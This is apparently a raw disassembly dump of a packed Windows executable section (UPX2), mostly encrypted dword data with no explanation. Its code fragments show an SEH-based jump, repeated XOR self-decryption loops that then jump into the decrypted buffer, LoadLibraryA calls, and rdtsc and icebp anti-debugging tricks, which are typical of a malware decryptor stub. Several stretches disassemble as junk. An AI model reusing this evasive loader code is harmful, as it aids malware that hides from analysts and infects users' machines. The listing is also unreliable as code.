0A83D078h dd 36780345h, 664A6BC0h, 0AA07F78h, 36780365h, 0F7EBE6C0h dd 36780B45h, 4083C0h, 0F733F4C1h, 36780B45h, 4080C0h dd 0F74DF4E0h, 408307h, 0B045F4C0h, 0F3AB2A50h, 85CB4F4Bh dd 76BF68h, 48C948EBh, 0F789B33Ch, 36780B45h, 804080C0h dd 8D4EF5C0h, 36780345h, 40480AC0h, 73437940h, 0CD440D38h dd 50A484h, 0B0486001h, 6A32B4Bh, 0C07138A6h, 0B8262BA6h dd 0B828004Fh, 24080C0h, 58EBE621h, 7589056Bh, 31F8E6C6h dd 0B0EBE600h, 85CD2A03h, 76B858h, 38CB0537h, 4080F6h dd 63590C0h, 58B8AB97h, 53CB992Bh, 2BB8ABE8h, 0B0CD0B10h dd 140B6FFh, 367F1055h, 8B7981C0h, 8944A484h, 3650E87Dh dd 94FD0BC0h, 2B40B6FFh, 367F1045h, 8BC577C0h, 4040B6F8h dd 744080C0h, 0AB9877C2h, 56408402h, 0C8FD0397h, 40B6FFh dd 19904CFh, 0DA880C0h, 4B4080C0h, 450ED285h, 2E72B38Ch dd 0CCC84h, 3B3A153Fh, 85C980F6h, 76BF1Ch, 3C180B93h, 73BF58C3h dd 34030BE8h, 0FFB56028h, 0BCD50B3Fh, 5B40B6FFh, 894CC2C3h dd 367F6045h, 80283C0h, 3FA40549h, 73CB80F6h, 80F37FE8h dd 0E84080C0h, 0FFBF7579h, 3FFC3D4Bh, 0E81680F6h, 0FFBF756Dh dd 3FFC154Bh, 4ACB80F6h, 0C0A83C8h, 0E9C34EEBh, 60C88FC5h dd 0F4080C1h, 41DA44h, 0C0F583C0h, 340B6FFh, 367F0075h dd 0E87C2CC0h, 0E205CFh, 46CD80C0h, 80C5ABC4h, 340B6FFh dd 6AA8D0C6h, 83BF7F35h, 367F3C7Dh, 0B3580C0h, 0F4CC7FBh dd 419B43h, 394C6BC0h, 367F3C55h, 0DC58FC0h, 34080C1h dd 367F0045h, 38C1E6C0h, 854FA53Fh, 40803Ch, 2B42C04Bh dd 0E810B483h, 0FFBF75EDh, 3FFC3DF9h, 854F80F6h, 408024h dd 3F8005C3h, 854380F6h, 76BF40h, 476B804Bh, 0CDC28FCCh dd 3B4080C0h, 834F8887h, 408004h, 3424043h, 85439487h dd 76BF40h, 0B5BFD092h, 76BF1Ch, 3B7A153Fh, 851A80F6h dd 0B7C58F00h, 0E94080C0h, 40805Ch, 854F7FFCh, 408054h dd 0F55BE40h, 400B45h, 1060BC0h, 5074C3EBh, 0FFB43C28h dd 0BCFDB93Fh, 7540B6FFh, 0C0C583B7h, 340B6FFh, 367F0045h dd 0E8C509C0h, 8B40B6FFh, 0E0C5BBC0h, 7240B6FFh, 0E4C5BBC8h dd 7240B6FFh, 40BDA9h, 3732F0C0h, 409F28h, 0FC0E0DC0h dd 26B414Bh, 3B50C2C3h, 367F6845h, 834CF5C0h, 31BF9004h dd 1C64C44Fh, 0C35B6BA1h, 3FE0054Fh, 8B2080F6h, 367F0075h dd 0F51A68C0h, 0A9217F3Fh, 804080C0h, 476B8EB5h, 3B49F2CCh dd 824F8887h, 0FFBF7FFCh, 0B2C58F89h, 8BBF7F3Eh, 0A7C1A4FCh dd 40A84Bh, 7FBF7F3Fh, 4AC1C22Bh, 40E0E4h, 0C073CE20h dd 87648C4Bh, 367F4845h, 0C4C509C0h, 8D40B6FFh, 680F79h dd 80C583C0h, 6640B6FFh, 2B0E2565h, 14028306h, 0C64CC2EBh dd 0C7A87B86h, 40D341h, 4085C0h, 0FC0609C0h, 5783DE9Fh dd 3BC6153Fh, 0E88180F6h, 1AC58FDFh, 504080C1h, 6A68EA94h dd 0E6D57F3Fh, 8540B6FBh, 884FDF00h, 4081C5h, 0FFA5DA28h dd 51683Fh, 651380C0h, 6C29C6B4h, 6325D3A5h, 7429F2B5h dd 0FF40C1B9h, 367FD475h, 3AD57FC0h, 8940B6FBh, 367FDC45h dd 5968C0h, 651380C0h, 652BE194h, 652EF78Fh, 6928F3B2h dd 6932D0B0h, 652CE9B6h, 5740E5A7h, 0FFA9AB28h, 53683Fh dd 651380C0h, 7433E592h, 5025F2AFh, 6936E9B2h, 6527E5ACh dd 0DA8D7C0h, 0E8BF7F29h, 4080D2h, 6102E593h, 7035EBA3h dd 7629F290h, 6725ECA9h, 0E81780A5h, 0FFBF6830h, 409828h dd 4325D3C0h, 672EE1A8h, 742FCEA5h, 5039E6A9h, 6936E9B2h dd 6527E5ACh, 0CDA8D7C0h, 50BF7F28h, 98C50D94h, 6A40B6FAh dd 12AD0A4h, 0F2D57F97h, 8940B6FBh, 95BFA4FCh, 76BBEEh dd 0BDCD40EAh, 76BE90h, 0FF10D090h, 367A1875h, 41E8C0h dd 6A1480C4h, 95BFD7C1h, 76BF9Ch, 5744EA94h, 3F1C153Fh dd 0C4C380F6h, 54F57FD4h, 0FF40B6FFh, 367BEA55h, 8D83DFC0h dd 367ED075h, 95BFD6C0h, 76BBAEh, 0FBF7843h, 403B44h, 60C509C0h dd 6A40B6FFh, 95BFD6C0h, 76BB6Ah, 844F4045h, 408064h, 501040EBh dd 6A1083AAh, 40E8C1h, 0FF1640C0h, 367BCA55h, 0FFB803C0h dd 5A804CFh, 85C980C0h, 76BFA4h, 3F280D4Dh, 95CD80F6h dd 76BFB0h, 2AD291h, 76D57F90h, 8340B6FBh, 844F7F38h, 408576h dd 0B5BF80AAh, 76BFA4h, 3B32153Fh, 0F8C380F6h, 9FC48F3Fh dd 894080C5h, 367FF845h, 389B3C0h, 5110D103h, 0FF1184AAh dd 367FE475h, 4ED57FC0h, 8540B6FBh, 7BC48F00h, 334080C5h dd 7CC50909h, 5140B6FFh, 1F28D191h, 50408FC0h, 3BD6153Fh dd 0C0C580F6h, 57404CFh, 85C980C0h, 76BF40h, 6FAF3803h dd 4BCB80C0h, 8BC577F8h, 40B6F8h, 755080C0h, 68C583C6h dd 3340B6D0h, 0F7818312h, 89A17731h, 367F0C45h, 28D738C0h dd 4BCB80C0h, 68C583FCh, 3340B6D0h, 0F7818312h, 89A17731h dd 367F0445h, 0B74F43C0h, 0E3B9868Bh, 18130DF5h, 140337CFh dd 6B0950C3h, 0D043A801h, 771FBA41h, 74B9EEA9h, 0C3A03DDh dd 8BA0F2C1h, 42CBBC8Bh, 100283D4h, 0FF08C44Dh, 0C1635937h dd 3F3805FBh, 8B8380F6h, 3350A494h, 0B8C20F00h, 0C34080C0h dd 0BAB4F4Bh, 3E103D4Dh, 8BBC80F6h, 0AC89B31Fh, 632E1FCh dd 237FAFCh, 3CEAA0ECh, 3CACF49Ch, 3C9DF4EEh, 0E3A8F5C0h dd 3D410B09h, 5D885h, 537D8BB4h, 0F40D283h, 0FFBFB345h dd 3D430B3Fh, 430EC997h, 0FF6604CFh, 577D7F3Fh, 0F0ED583h dd 0FFBF9B44h, 4317BD3Fh, 844FB2F3h, 0FFBF7FD0h, 5413D0FDh dd 5C48F8Fh, 33BF7F3Fh, 0FE6D681Bh, 10357F3Fh, 0FFBC7A28h dd 0FE61683Fh, 844F7F3Fh, 0FFBF7E2Ch, 16A852F3h, 0E84080C0h dd 0FFBF7FA3h, 408028h, 0EDC1DDC0h, 76B3F9h, 435B29h, 32BFE4C0h dd 3FC0354Bh, 892480F6h, 3EC1E6E2h, 854FDA8Dh, 408304h dd 37CDE4Bh, 3BC1E61Eh, 854FC590h, 408374h, 56C337h, 0F4080E0h dd 432745h, 5C0376C0h, 9DC48FC2h, 8B4080C3h, 0A07D8883h dd 0FE02060h, 430F44h, 2060BDC0h, 844FA0E0h, 408344h, 0FFBE3928h dd 79C28F3Fh, 834080C3h, 367F4465h, 42CB80C0h, 100A0BC8h dd 43341EBh, 5AB40F3h, 4AC948C3h, 88C509D0h, 340B6FFh dd 0F88C8Ah, 514081C0h, 0FFA72A28h, 89D5B03Fh, 0B140B6F8h dd 8AF5B0E0h, 6A40B6F8h, 58897EE0h, 90A894B8h, 85BF7F27h dd 0C2D48F12h, 95716213h, 76B84Bh, 85B7652Bh, 76B84Bh dd 14080C0h, 85B7A2B4h, 76B84Bh, 4080C3h, 0A5C18CB5h, 76B84Bh dd 0FBBF7F3Fh, 8DC18A2Bh, 76B84Bh, 84080C0h, 4086A8h, 628D9C0h dd 584080C0h, 0FFA7C228h, 83C50A3Fh, 8640B6F8h, 38C3AA44h dd 85C880F6h, 76B843h, 85B76022h, 76B84Bh, 4080C8h, 0BDC089B5h dd 76B845h, 0F785F4C1h, 36780B45h, 4080C0h, 805BF4C8h dd 3678037Dh, 0B03485C0h, 38C43D40h, 744580F6h, 85FD0067h dd 540B6F8h, 85B71EB4h, 76B84Bh, 804080C0h, 0BDC089B4h dd 76B843h, 83C9F7C2h, 367F4865h, 7A880C0h, 0E8BF7F33h dd 0FFBF7DA1h, 42F028h, 84DD0BC0h, 340B6FFh, 367F085Dh dd 0FC3968C0h, 844F7F3Fh, 408290h, 3FC0354Bh, 5ECB80F6h dd 0E89E83FCh, 0FFBF7DBAh, 27A02CFh, 4AC180C0h, 40E0E4h dd 52BE0B20h, 143A8396h, 0F750FAC3h, 36780B45h, 4080C0h dd 8954F5D0h, 367F4C7Dh, 98F50DC0h, 8B40B6F8h, 3650E84Dh dd 57E473C0h, 4AA679h, 0F50DC0h, 0F340B6D0h, 0E3403165h dd 0F7E473C2h, 36780B45h, 4080C0h, 0AEC48FD0h, 0FF4080C0h dd 0B6A8A8B3h, 8BBF7F2Eh, 367F3C55h, 0F9205C0h, 401844h dd 80F50BC0h, 8B40B6FFh, 4AC1908Ah, 40E0E4h, 80AAB20h dd 0C97382B3h, 3B54F2C3h, 3650E84Dh, 68CD0BC0h, 7240B6D0h dd 247C0B96h, 10282543h, 834080F6h, 40E867h, 7ACB80C0h dd 80A81C8h, 0F7C777C3h, 3FD4054Bh, 85B780F6h, 76B84Bh dd 408080h, 18B782B4h, 294CF2C3h, 0C8F509F0h, 8B40B6FFh dd 3041A8B3h, 38CB0537h, 80F6h, 23480C0h, 0E8119837h, 0FFBF7C89h dd 34C6B99h, 726BA8B3h, 0F316D1CCh, 8D19DF64h, 36781875h dd 0CCFD09C0h, 0F340B6FFh, 0F1EDF64h, 87CD12F1h, 408014h dd 38C915FAh, 63580F6h, 563852A9h, 50C892F4h, 0DAFB6830h dd 8B1A7F3Fh, 4A438C8Ah, 8BC577D0h, 40B6F8h, 8D5080C0h dd 13358581h, 3F880D49h, 854380F6h, 7690A8h, 282743h, 2B4080C0h dd 87C9A883h, 408093h, 3C080537h, 4180F6h, 73480C0h, 0A048C307h dd 0F7E02060h, 36780B45h, 4080C0h, 5247F440h, 0FFB7FA28h dd 8DCBDA3Fh, 76BF08h, 4BC98523h, 8B4D6BE8h, 367F444Dh dd 0EB4263C0h, 280B0BC3h, 38CB0537h, 4380F6h, 143480C0h dd 3F8C054Bh, 8D4380F6h, 76BF78h, 3FF405C3h, 84180F6h dd 8B50CA4Bh, 367F0445h, 80AB9C0h, 4AC983B3h, 100281C8h dd 18E343h, 3FCC054Bh, 982880F6h, 14080E8h, 1198882h, 95CAD083h dd 76B849h, 38CB0537h, 4080F6h, 63490C0h, 10280DC3h, 0F680F6h dd 38CB0537h, 4080F6h, 143580C2h, 85B7463Eh, 76B84Bh, 4480C0h dd 0B5CA86B5h, 76B84Ah, 38CB0537h, 404080F6h, 0B3580C0h dd 0C242874Ah, 0E296826Ah, 8A496B37h, 0AA82B2C7h, 0F7A256C2h dd 8B2452F3h, 2CFE4E2h, 64FD0398h, 40B6FFh, 0FA9E04CFh dd 0B5BF7F3Fh, 76BF40h, 3BFA153Fh, 0B5BF80F6h, 76BFBCh dd 3B6E153Fh, 8DCD80F6h, 76BFA8h, 3F30154Dh, 521180F6h dd 0B5BF80AAh, 76BFA4h, 3BEE153Fh, 0B5BF80F6h, 76BFA4h dd 3B6E153Fh, 0B5CD80F6h, 76BE90h, 3F20353Fh, 0FF1680F6h dd 367B2A55h, 64E503C0h, 40B6FFh, 406803h, 6A1D80C0h, 96AD01C1h dd 5840B6F7h, 85818F30h, 7695B4h, 83834045h, 0FB07F08h dd 15340501h, 3D8380F6h, 6A80D0h, 81269CB5h, 6C4CA4BCh dd 6053F5B1h, 0FFBF4428h, 0E845F53Fh, 0FFBF7A14h, 0FFBF5228h dd 0FF6EE13Fh, 3416F8EDh, 6538D2h, 0E82080C0h, 0FFBF7F65h dd 44CBB9B5h, 0B5CDB0E4h, 76BE90h, 6648D04Bh, 246BA41h dd 6816A5B3h, 0BF80C0h, 2A444Bh, 95BFD092h, 76BB3Ah, 81484443h dd 3F7FDCFEh, 8343F59Ch, 81A88406h, 0E8BF7F3Ah, 0FFBF7FBFh dd 74F843A1h, 0EB4080C0h, 6F3871h, 1DA880C0h, 0C24080C0h dd 30F880E0h, 0E84080C0h, 4080D0h, 0B840A402h, 408145h dd 408328h, 6C42C0h, 0C64D44Dh, 0F8C3AE0Dh, 6059FCC0h dd 408028h, 24140BC0h, 1ACBDDF0h, 382D6D41h, 0D4A880F6h dd 61BF7F21h, 2408402h, 54381C6h, 0FFADFFC7h, 0FF3B2BFEh dd 103815h, 498D01h ; --------------------------------------------------------------------------- push ebp mov ebp, esp call sub_316128AF call loc_31612964 mov ebp, 4DFE8670h jmp loc_31612914 ; =============== S U B R O U T I N E ======================================= sub_316128AF proc near ; CODE XREF: UPX2:3161289Bp push dword ptr fs:0 mov fs:0, esp mov ds:dword_3160720E, ebp xor eax, eax push eax push eax push eax push 40h push 80000000h push 80h push eax push 4000h call ds:dword_3160708C ; LoadLibraryA xor ebx, ebx push 80000000h push 2 push ebx push 80000000h push 8000h push 80000000h push 40h push ebx push 80000000h push ebx push 1 call ds:dword_3160708C ; LoadLibraryA loc_31612914: ; CODE XREF: UPX2:316128AAj cld cld sub eax, eax loc_31612918: ; CODE XREF: sub_316128AF+6Fj dec al or al, al jz short loc_31612922 jnz short loc_31612918 jmp short near ptr byte_31612989 ; --------------------------------------------------------------------------- loc_31612922: ; CODE XREF: sub_316128AF+6Dj call sub_31612960 sub ecx, 0FFFFE28Fh push ecx xor ebx, ebx xor ebx, 2971h sub edi, edi or edi, 68h cld cld loc_31612940: ; CODE XREF: sub_316128AF+A2j xchg al, [ecx] cld cld stc xor ax, di mov [ecx], al add ecx, 1 dec ebx cmp ebx, 0 jnz short loc_31612940 pop ecx mov edi, [ebp-8] mov fs:0, edi leave jmp ecx sub_316128AF endp ; =============== S U B R O U T I N E ======================================= sub_31612960 proc near ; CODE XREF: sub_316128AF:loc_31612922p pop ecx jmp ecx sub_31612960 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 loc_31612964: ; CODE XREF: UPX2:316128A0p mov eax, [eax] ; --------------------------------------------------------------------------- dw 0 dd 8 dup(0) db 0 byte_31612989 db 3 dup(0) ; CODE XREF: sub_316128AF+71j dd 191h dup(0) dd 7C816FD7h, 100Bh dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp call loc_31617012 call sub_316170B8 jmp near ptr byte_3161705C ; --------------------------------------------------------------------------- loc_31617012: ; CODE XREF: UPX2:31617003p push dword ptr fs:0 xor ds:dword_3161705D, ebp mov fs:0, esp xor edx, edx push edx push edx push edx push edx push edx push 40h push edx push edx push edx push edx push edx push 1 call ds:dword_3160708C ; LoadLibraryA xor ecx, ecx push 80000000h push ecx push ecx push ecx push 4000h push ecx push 200h push ecx call ds:dword_3160708C ; LoadLibraryA ; --------------------------------------------------------------------------- byte_3161705C db 0BDh ; CODE XREF: UPX2:3161700Dj dword_3161705D dd 12FFC0h ; --------------------------------------------------------------------------- cld sub eax, eax loc_31617064: ; CODE XREF: UPX2:3161706Aj dec al or al, al jz short loc_3161706E jnz short loc_31617064 jmp short loc_316170D5 ; --------------------------------------------------------------------------- loc_3161706E: ; CODE XREF: UPX2:31617068j call sub_316170B4 sub edx, 0FFFFFFAEh push edx xor ecx, ecx xor ecx, 2898h cld sub edi, edi add edi, 0D9h stc cld stc cld cld loc_31617090: ; CODE XREF: UPX2:316170A3j xchg al, [edx] xor ax, di xchg al, [edx] add edx, 1 add di, 0E0h dec ecx cmp ecx, 0 jnz short loc_31617090 pop edx mov edi, [ebp-8] mov fs:0, edi leave jmp edx ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_316170B4 proc near ; CODE XREF: UPX2:loc_3161706Ep pop edx jmp edx sub_316170B4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_316170B8 proc near ; CODE XREF: UPX2:31617008p arg_C = dword ptr 10h mov edx, [esp+arg_C] xor eax, eax pop dword ptr [edx+0B8h] retn sub_316170B8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0E8h, 2 dup(0) dd 48B0000h, 9889FC24h, 2FCBh db 0F7h ; --------------------------------------------------------------------------- loc_316170D5: ; CODE XREF: UPX2:3161706Cj add byte ptr [esi+28h], 0 add [eax+4245C8Bh], al jz short loc_31617111 pop ecx mov [eax+2FCFh], esi push edi pop dword ptr [eax+2FD3h] cmp byte ptr [eax+288Ah], 0E8h jnz short loc_31617108 add ebx, [eax+288Bh] mov ebx, [ebx+2] push dword ptr [ebx] jmp short loc_31617110 ; --------------------------------------------------------------------------- loc_31617108: ; CODE XREF: UPX2:316170F9j mov ebx, [eax+288Ch] push dword ptr [ebx] loc_31617110: ; CODE XREF: UPX2:31617106j pop ebx loc_31617111: ; CODE XREF: UPX2:316170E2j push ebp mov ebp, eax sub dword ptr [esp+4], 0FECAh sub ebp, 361005h mov edi, [esp+4] lea esi, [ebp+363898h] mov ecx, 0 rep movsb call sub_31617186 mov ecx, eax call sub_31617186 sub eax, ecx jz short loc_3161715A cmp eax, 100h ja short loc_3161715A lea eax, [ebp+3610D4h] mov dl, [eax-10h] call sub_3161718A jmp short loc_31617199 ; --------------------------------------------------------------------------- loc_3161715A: ; CODE XREF: UPX2:31617141j ; UPX2:31617148j test dword ptr [ebp+36388Bh], 80000000h jz short loc_31617184 lea esi, [ebp+36388Fh] mov edi, [esp+4] movsb movsd mov esi, [ebp+363FD4h] mov edi, [ebp+363FD8h] mov ebx, [ebp+363FD0h] loc_31617184: ; CODE XREF: UPX2:31617164j pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_31617186 proc near ; CODE XREF: UPX2:31617133p ; UPX2:3161713Ap rdtsc retn sub_31617186 endp ; --------------------------------------------------------------------------- db 70h ; =============== S U B R O U T I N E ======================================= sub_3161718A proc near ; CODE XREF: UPX2:31617153p mov dh, dl mov ecx, 27B7h loc_31617191: ; CODE XREF: sub_3161718A+Cj xor [eax], dl inc eax add dl, dh loop loc_31617191 retn sub_3161718A endp ; --------------------------------------------------------------------------- loc_31617199: ; CODE XREF: UPX2:31617158j icebp add edx, [eax+30h] iret ; --------------------------------------------------------------------------- dw 915Fh dd 0B834BEFBh, 9854C329h, 51E09B81h, 0FFD530C0h, 9363330Bh dd 0A8A1D67Ch, 0BC953550h, 13D8604Bh, 0F0127B53h, 9338FACBh dd 534D21F3h, 68215603h, 0A5308482h, 95583149h, 34A1136Fh dd 0FA4235B4h, 0F9A3ADD9h, 0E2AB944Ch, 0A3E32924h, 5EA487CFh dd 0D37C8A0Bh, 17143BBBh, 5C088303h, 53A030C0h, 0B5139FECh dd 0F44ED108h, 3E0156Ch, 9529E63Fh, 0D056CBAEh, 9020BDA8h dd 35923300h, 55C544A1h, 0A40E95F6h, 6F73B001h, 6265F9D6h dd 0F8A006FBh, 0D060F08Dh, 0DC54D507h, 15940361h, 62CF42B2h dd 69FA380h, 0AB1635C9h, 93087036h, 95A030C3h, 0D3E4FF40h dd 0C0DF4FBFh, 6BD6E5FFh, 0D02530F6h, 0D3E1758Fh, 2DA0B040h dd 50D6652Dh, 0EFB445C1h, 0E65F2035h, 0BDAD4E40h, 0DFE04615h dd 26B5B445h, 53671B80h, 0A63534E5h, 0F5637000h, 109625B4h dd 0A8C57380h, 90208655h, 459CD583h, 47A030F6h, 0C2B27546h dd 1921B076h, 66DB4AB5h, 0E015BDC0h, 0E360C695h, 0D69D3D89h dd 0E1E0463Bh, 132BD8E0h, 2F3FF080h, 0A61B36D5h, 4F08B100h dd 1074B4CFh, 97EBF080h, 9360DA54h, 40E018C3h, 952938C0h dd 0D056CBBEh, 904F4028h, 0AFE01A00h, 269B8E55h, 0DFA07580h dd 90225EC4h, 0E56DE700h, 109620C0h, 2CD91F0Bh, 1120B04Bh dd 66F070EDh, 4235BDC0h, 2360C692h, 13C24FE5h, 0AC6B50ECh dd 0D09338AAh, 0E9F57DD9h, 6320865Bh, 0D91CFBABh, 575E2097h dd 0D308A79Ch, 6F20B140h, 66DB4E95h, 3064B3C0h, 546F3005h dd 9020B2DFh, 3AE01A97h, 14A058C1h, 0D0087080h, 6F20B140h dd 66DB4E95h, 1F60B5C0h, 0D0627204h, 0C020DA40h, 54E07068h dd 0D1A05AC0h, 0BA37FC68h, 9148E041h, 0AFE07100h, 269B0E55h dd 0D06A9880h, 5DFB041h, 50D64B3Eh, 10A03528h, 0D2311980h dd 904AB040h, 3AEA9359h, 0A235CFCAh, 3B60C6BBh, 2DA373B1h dd 50D64B5Eh, 24243FC0h, 3860F082h, 9020B046h, 1CA4244Eh dd 855F308Ch, 0D056CBFAh, 87EA05CDh, 99D37036h, 2B668D4Dh dd 0DED1F0B6h, 925358D3h, 0ED637000h, 10960B3Ah, 0D0E4FF80h dd 1B20B042h, 66DBBA85h, 11D0CFC0h, 0E782750Fh, 15ABB076h dd 50D64BE2h, 9FA1403Fh, 0E658DF05h, 5EA53B40h, 0AFE0463Bh dd 952F31B0h, 0D056C8B6h, 0ABF23DCBh, 4A037036h, 9FA1413Fh dd 0E658B305h, 4AAD3B40h, 0B3E0463Bh, 11D1CFC9h, 0E830750Fh dd 28C8B076h, 0DDE07001h, 269C607Dh, 0BAAF7B80h, 6FF94640h dd 0B1637470h, 13E05AC3h, 0D00AA779h, 25ADA82Ah, 50D665D7h dd 10A02979h, 9D647D80h, 6FDF4FBEh, 546DDB66h, 10A0308Dh dd 5DCB9680h, 0A28BB407h, 0AC75FDE4h, 0BCA006FAh, 0B66279E6h dd 92E233EBh, 846B85E2h, 0E0C830AAh, 5B60F0EFh, 1B20DA8Ch dd 38E01AC4h, 18A030C0h, 8231B0EAh, 6F70BE2Ah, 66DBA695h dd 0D42368C0h, 0BF9098C0h, 44ABB040h, 9C6B706Ah, 10CA70AAh dd 0BA32F2EAh, 0FFD0D840h, 508A7000h, 405F5A91h, 0EBBE657Fh dd 0C97FB076h, 0D4EF8F85h, 10A031C7h, 0C060450Dh, 6C99B076h dd 0DBE0700Bh, 9105C32Fh, 0E670F06Dh, 0A8A53D40h, 0AFE04614h dd 7AF46020h, 2F9F9AA0h, 0A61B56D5h, 0F20F500h, 5D4804B5h dd 3860F081h, 9020B051h, 35A41553h, 40C745A2h, 0B91699F2h dd 0F547D52Ch, 1E082700h, 0EFA030C5h, 0E65FA435h, 0FAB54F40h dd 7E0463Bh, 2B8EA53Fh, 0D00AF0B6h, 5DFB22Ah, 50D64B5Eh dd 10A11879h, 314B6780h, 0C404BCC9h, 0F2758F57h, 23A006FBh dd 0EEC57376h, 9020867Ch, 0C51F2754h, 10960B66h, 0B6143005h dd 94DE3306h, 241F9E72h, 10CA38E4h, 459FDAEAh, 90168BDEh dd 8C94B085h, 1526D853h, 1953F080h, 0A91A53D1h, 66DC4E85h dd 919245C0h, 0B344D4FCh, 0E453C233h, 0C421F128h, 40A030CEh dd 8136A0D4h, 6F73E010h, 66DB2695h, 4960B5C0h, 0A49FFFF4h dd 15AFB864h, 50D64C3Eh, 0EF5DF528h, 459FA37Fh, 90168B6Eh dd 9461FEEBh, 10A031E8h, 0FEF50FD7h, 6F20867Bh, 66DB5E95h dd 0EBC8D9C0h, 8A600F7Fh, 904AB02Ah, 508A706Ah, 14A031A8h dd 0BAA47B80h, 9C4AE040h, 0B21FB48Bh, 24FF4896h, 1953F080h dd 6FDF6AA8h, 1775FDFFh, 42A006D5h, 2F30A1D1h, 0A61B82D5h dd 7024F300h, 48F86803h, 0D04F0080h, 902EEF40h, 50E07100h dd 10A030C0h, 0D060F080h, 90083B40h, 50E07000h, 43F661C0h dd 0EB5A657Fh, 0C98BB076h, 2520F4ACh, 0D34ED23Bh, 0C911650Dh dd 6F72B076h, 66DBE295h, 4425B9C0h, 3860C6BFh, 9020B056h dd 3B8F1F4Ch, 62F040B5h, 0BC0986E9h, 0C645D725h, 35951C61h dd 0EFF03081h, 0E65BCA15h, 0C8A53940h, 93E0463Fh, 63C1729Ch dd 0BD01BEE5h, 0F26FD425h, 2483156Ah, 64F66CB3h, 0A40395D3h dd 0E453DC40h, 3E851C72h, 75D273C0h, 960584E1h, 0D145DC29h dd 35923300h, 56C544A1h, 9D059CE9h, 0F950C021h, 50A1176Eh dd 71C54283h, 0A23095F4h, 0E345D32Fh, 13E03173h, 64C155B2h dd 0BD05A2E5h, 0C445C42Fh, 31850268h, 62E330A4h, 0B51491E5h dd 0F552D814h, 13E01461h, 64C155B2h, 0BF0FA4E5h, 0FC45D82Ch dd 3D24370h, 63D051AEh, 0D0149FE8h, 0E449C805h, 35921854h dd 56A054A1h, 84059CE9h, 0C445DD29h, 2399236Fh, 44CD55B4h dd 0D0059DE9h, 0F545C206h, 2282194Ch, 10D942A1h, 961495C7h dd 0D145DC29h, 39920474h, 75D445A2h, 9760B1F3h, 0F966C425h dd 39B3156Ch, 57A055BAh, 0B92684E5h, 0F974D52Ch, 17E0156Dh dd 7FED44A5h, 0B50C85E4h, 0F44ED108h, 50A1156Ch, 44D45587h dd 96109DE5h, 0DE45DC29h, 11851D61h, 64C577C0h, 0A00D95D4h dd 0F854D110h, 35A77041h, 62C566B4h, 0BE0F99F3h, 0E445F740h dd 23921556h, 55CE5FA9h, 9760B1F8h, 0FF76C425h, 358D056Ch dd 7FC65E89h, 0A4019DF2h, 0D14EDF29h, 318F3C00h, 72C97CA4h dd 0A91291F2h, 0F16DB001h, 35892670h, 56C67FB7h, 0D0059CE9h dd 0FE45C00Fh, 358C1946h, 60D0518Dh, 91079EE9h, 0F550FF40h dd 3F92206Eh, 63D355A3h, 0BF12A080h, 0E353D523h, 39A64233h dd 10D443B2h, 0B30F82D0h, 0A353C325h, 28853E32h, 75F330B4h dd 0BC09B6F4h, 0E454F125h, 25821972h, 51D355B4h, 0A405A380h dd 0F54CD906h, 358D1954h, 75CC63C0h, 836080E5h, 0F554C339h dd 3D89246Dh, 56CF64A5h, 84059CE9h, 9045DD29h, 318D1E55h dd 75C966B0h, 9606BFF7h, 9045DC29h, 24921956h, 51CC51B5h dd 0B30F9CECh, 0F952E740h, 39A61574h, 5EA055ACh, 0BA04B1F4h dd 0C054C335h, 39961972h, 75C755ACh, 0BB0FA4F3h, 0DE20DE25h dd 35923374h, 56C544A1h, 0D0059CE9h, 0E263C40Eh, 35941165h dd 73CF4290h, 0D01383E5h, 0E263C40Eh, 35941165h, 73CF4290h dd 951383E5h, 0E46EB038h, 31850243h, 75F355B4h, 0BF0984E3h dd 0E46EB02Eh, 31850243h, 63F555B4h, 0A23082E5h, 0E345D32Fh dd 24AE7073h, 46D0518Dh, 9F1795E9h, 0F345E326h, 3E8F1974h dd 5FD47EC0h, 960E95F0h, 9045DC29h, 20AF044Eh, 62F05EA5h dd 0A30593EFh, 0FB4FE433h, 1EE01E65h, 75D07FB4h, 0B305A3EEh dd 0FE4FD934h, 943E00h, 75D45FB2h, 0B93684E3h, 0F155C432h dd 3D853D6Ch, 10D942AFh, 0A53184CEh, 0D959C225h, 228F166Eh dd 79D451ADh, 0BF349EEFh, 904ED52Bh, 22B7044Eh, 46C544A9h dd 0A51482E9h, 0F56DDC21h, 29921F6Dh, 7CD462C0h, 0B3099ED5h dd 0C345D42Fh, 3E890274h, 51CF64A7h, 830983EEh, 0FE49C234h dd 3B77067h, 71D46381h dd 0A01584F2h, 0FF4CD340h, 3F931573h, 64C55BA3h, 0BE0F9380h dd 0E443D52Eh, 24851700h, 64D35FA8h, 0B10E89E2h, 0E220D52Dh dd 50961365h, 74CE55B3h, 0B30F8380h, 9054D52Bh, 35941E49h dd 64C55EB2h, 0A30F9CC3h, 0FE41F825h, 50851C64h, 75D45E89h dd 0A4059EF2h, 0D354D507h, 358E1E6Fh, 74C544A3h, 0A40184D3h dd 0FE69B025h, 3E921574h, 60EF44A5h, 0D0219EE5h, 0F554DE09h dd 24851E72h, 7EC5408Fh, 910C82D5h, 0E44EF940h, 358E0265h dd 71C562B4h, 0BC09B6E4h, 0D461B025h, 19B03156h, 548E02F3h dd 8260BCCCh, 0FC63D725h, 1B85036Fh, 42A049A5h, 0A02F97E5h dd 0F56BDE25h, 11983579h, 77C562C0h, 0A20585D1h, 0FC41E639h dd 28A51575h, 75F23081h, 0A405A3E7h, 0E54CD116h, 11983565h dd 0E69366C0h, 8636F2EAh, 914A64CBh, 48928F52h, 4835CF96h dd 5B60C6BFh, 0C676E684h, 201F2650h, 0D635CFD8h, 5360C6BBh dd 527EA084h, 196D7008h, 41681B3Bh, 0D060F0E8h, 0B46C3DA8h dd 3AE01A03h, 43F061C5h, 1CEBF5EAh, 0C0F43B10h, 1A01A54h dd 855F6392h, 0D056CB6Eh, 6F2C74C3h, 66DB8695h, 1864B3C0h dd 2CF57D43h, 0A320867Ah, 2E01AC9h, 22A000A8h, 81A47B80h dd 0C060DA11h, 0D3F81A51h, 7AF43800h, 459FA08Eh, 90168BAAh dd 63C0B483h, 1F60B512h, 0A973219h, 53E29318h, 0B81F4357h dd 0EF5FCF01h, 0D0C5748Fh, 0F870B040h, 50E01FF0h, 10CAE44Bh dd 900A3C0Bh, 8020B028h, 2E21A00h, 0E0C830AAh, 